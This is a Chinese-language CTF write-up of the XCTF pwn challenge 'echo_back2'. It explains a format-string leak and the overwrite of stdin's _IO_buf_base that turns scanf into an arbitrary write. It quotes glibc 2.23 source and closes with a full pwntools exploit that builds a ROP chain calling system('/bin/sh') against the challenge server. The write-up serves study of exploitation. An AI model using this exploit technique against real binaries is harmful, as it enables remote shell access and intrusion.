XCTF-echo_back2-WP

Posted on Jan 4, 2021

写在前面

由于我本地的环境和服务器完全不一样,所以这道题其实我完全没法做,看着wp云pwn了一下也算是学了一下scanf的部分实现了。

可见在本机,覆盖stdin的_IO_buf_base最低字节为0的话,是达不到修改_IO_buf_base的效果的。其实我已经用patchelf替换了libc,但是还是无法还原靶机。打算是之后搭建一套docker环境尽量还原靶机来对这类题进行动调。

总结

我觉得这里还是有必要先总结一下的,由于我比较蠢,所以其实我在看完3篇其他博主的wp后还是迷迷糊糊的无法理解。考虑到我的文笔和水平也都很差,光看后面的分析您可能也没办法理解,事实上这个利用是很简单的,我这里列一下过程

  1. 通过格式化字符串的漏洞leak出必要信息(我相信这个一步是大家都能自己想到的)
  2. 由于格式化字符串长度的限制,考虑利用scanf的漏洞实现任意地址写,写入我们的payload

就是这简单的两步。而之后会有的一长段对scanf实现的分析都是解释如何利用scanf的漏洞,简单的说就是通过修改_IO_buf_base(一个指向scanf写入地址的指针)为我们想写入的地址 也就是main函数的返回地址。

漏洞分析

本机打不通就只能看WP了,再总结一下本题核心的利用方法,就是通过修改_IO_2_1_stdin_这个文件变量(_IO_FILE)实现scanf的任意地址写。

这是一个明显的格式化字符串漏洞点,通过他我们可以轻易地leak栈上的信息,这里打开gdb动调一下。将断点下在这个printf处,查看一下栈的情况

可以看到,我们可以通过 %n$p轻易的leak出canary,main函数的栈基地址,该进程的基址,libc基址(这是一个坑点,我的机器上与start_main的偏移是384,而服务器上却是240)。(格式化占位符中的 n的计算方法可以参见我的这篇文章中“参数的计算”这节)

现在的问题虽然有这么一个格式化字符串漏洞,但是格式化字符串的长度最长只能到7,显然是不够我们修改return address的(毕竟p64一下就要8个字节了)。不过我们注意到,

还有这样一个函数可用,虽然只能输入一次,而且一次也只能写7个字节,但是考虑到64位程序的最高两位基本都是0,所以7个字节也够我们布置一个地址了,再通过之前的格式化字符串漏洞就可以把任意地址的一个或两个或四个字节置零。看起来好像也没什么用是吧,但是其实很有用,利用这个方法可以攻击stdin,通过scanf实现任意地址写。

stdin在libc中的变量名是_IO_2_1_stdin_,类型是_IO_FILE型结构体指针,这个结构体是这么定义的

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  /*  char* _save_gptr;  char* _save_egptr; */
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

scanf的实现

先不用仔细看这个结构体,我们是对scanf进行利用,先看一下其实现(glibc-2.23),他被定义在/stdio-common/scanf.c

/* Read formatted input from stdin according to the format string FORMAT.  */
/* VARARGS1 */
int
__scanf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = _IO_vfscanf (stdin, format, arg, NULL);
  va_end (arg);

  return done;
}

可以看到他实际调用的是_IO_vfscanf,该函数被实现为_io_vfscanf_internal,跟进,发现有一千多行,非常可怕,但是我们只考虑他对下一字符不是'%'的处理

可以看到他是调用inchar函数来读入的,我们继续跟进,实际上这是个宏

# define inchar()	(c == WEOF ? ((errno = inchar_errno), WEOF)	      \
			 : ((c = _IO_getwc_unlocked (s)),		      \
			    (void) (c != WEOF				      \
				    ? ++read_in				      \
				    : (size_t) (inchar_errno = errno)), c))

调用的是_IO_getwc_unlocked,还是个宏

# define _IO_getwc_unlocked(_fp) \
  (_IO_BE ((_fp)->_wide_data == NULL					\
	   || ((_fp)->_wide_data->_IO_read_ptr				\
	       >= (_fp)->_wide_data->_IO_read_end), 0)			\
   ? __wuflow (_fp) : (_IO_wint_t) *(_fp)->_wide_data->_IO_read_ptr++)

_IO_read_ptr < _IO_read_end时,直接就是_IO_read_ptr,对我们的利用没什么帮助,而_IO_read_ptr >= _IO_read_end时,调用了__wuflow (_fp)这个东西,据说这个的实现逻辑是_IO_new_file_underflow

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* Flush all line buffered files before reading. */
  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}

这么长我是没怎么看懂的,但是重要的是这一段

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);

会在

if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

这个if不通过,也就是fp->_IO_read_ptr >= fp->_IO_read_end时执行。也就是向fp->_IO_buf_basefp->_IO_buf_end这一段地址中写入数据。

这样我们就可以非常自然地想到,如果我们可以修改fp->_IO_buf_base指向的位置到我们想修改的地址,就可以实现任意地址写了。然后我们看一下_IO_2_1_stdin_在内存中的样子,可以使用gdb的print指令(简写为p

这里我的虚拟机里面的内存分布,这样是无法利用的,但是服务器的分布下,如果通过之前的格式化字符串漏洞将fp->_IO_buf_base的最低位置零,那么它就指向了fp->_IO_write_base(不知道这是巧合还是必然),然后我们在scanf的时候就可以控制_IO_buf_base_IO_buf_end指向的地址了。如果我们将_IO_buf_base指向main的return address(该地址在之前被leak出来了),就可以写入rop链,实现get shell

不过还需要注意的是,在scanf完成后,被读入的字符串的长度会被加到_IO_read_end上,所以为了实现之后的任意地址写我们还要想办法给_IO_read_ptr加上同样的值。幸运的是,getchar就可以做到

上面这个宏就是getchar实际调用的宏,可见给_IO_read_ptr加了1。

而实现echo_back功能的这个函数里就调用了getchar,所以我们调用一定次数的该函数就可以写main的return address了。

总结一下我们是如何修改_IO_buf_base的:由于这个指针在_IO_2_1_stdin_这个libc中的全局变量里,他的地址是可以直接计算出来的,然而我们确实无法直接修改这个指针为我们想要的值,因为我们的格式化字符串的长度只允许我们对某个地址置零,所以我们先把他的最低字节置零,这样他就指向了_IO_write_base,我们就可以修改_IO_write_base_IO_buf_end中的所有的值了,就实现了对_IO_buf_base的修改。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')

#sh = process("./echo_back")
sh = remote("220.249.52.134","41765")
elf = ELF("./echo_back")
libc = ELF("./libc.so.6")
stdin_FILE = 0x3C48E0

def echo_back(payload):
    sh.sendlineafter("choice>> ",'2')
    sh.sendlineafter("length:",str(len(payload)))
    sh.send(payload)
    sh.recvuntil("say:")

echo_back("%13$p")
elf_base = int(sh.recvuntil('--',drop = True), base = 16) - 0xd08 #leak elfbase
print("canary: %s" % str(hex(elf_base)))

echo_back("%19$p")
libc_start_main_addr = int(sh.recvuntil('--',drop = True), base = 16) #leak libc
print("libc_start_main: %s" % str(hex(libc_start_main_addr)))
base = libc_start_main_addr - (libc.symbols["__libc_start_main"] + 0xF0)
print("base: %s" % str(hex(base)))
_IO_2_1_stdin_addr = base + stdin_FILE
print("_IO_2_1_stdin_: %s" % str(hex(_IO_2_1_stdin_addr)))

echo_back("%12$p")
rbp_main = int(sh.recvuntil('--',drop = True), base = 16) #leak stack

#change stdin
sh.sendlineafter("choice>> ",'1')
sh.sendafter("name:",p64(_IO_2_1_stdin_addr + 0x8 * 7)[:-1])
echo_back("%16$hhn")

sh.sendlineafter("choice>> ",'2')
payload = p64(_IO_2_1_stdin_addr + 0x83) * 3 + p64(rbp_main + 0x8) + p64(rbp_main + 0x20)
sh.sendafter("length:",payload)
sh.send('\n')

for i in range(len(payload) - 1):
    sh.sendlineafter("choice>> ",'2')
    sh.recvuntil("length")
    sh.sendline("")

  
rop_chain = p64(elf_base + 0xD93) + p64(base + libc.search('/bin/sh').next()) + p64(base + libc.symbols["system"]) #one_gadget
sh.sendlineafter("choice>> ",'2')
sh.sendlineafter("length:",rop_chain)
sh.send("\n")

sh.sendlineafter("choice>> ",'3')
sh.interactive()

IO这里的攻击感觉水很深啊,还需要好好学习。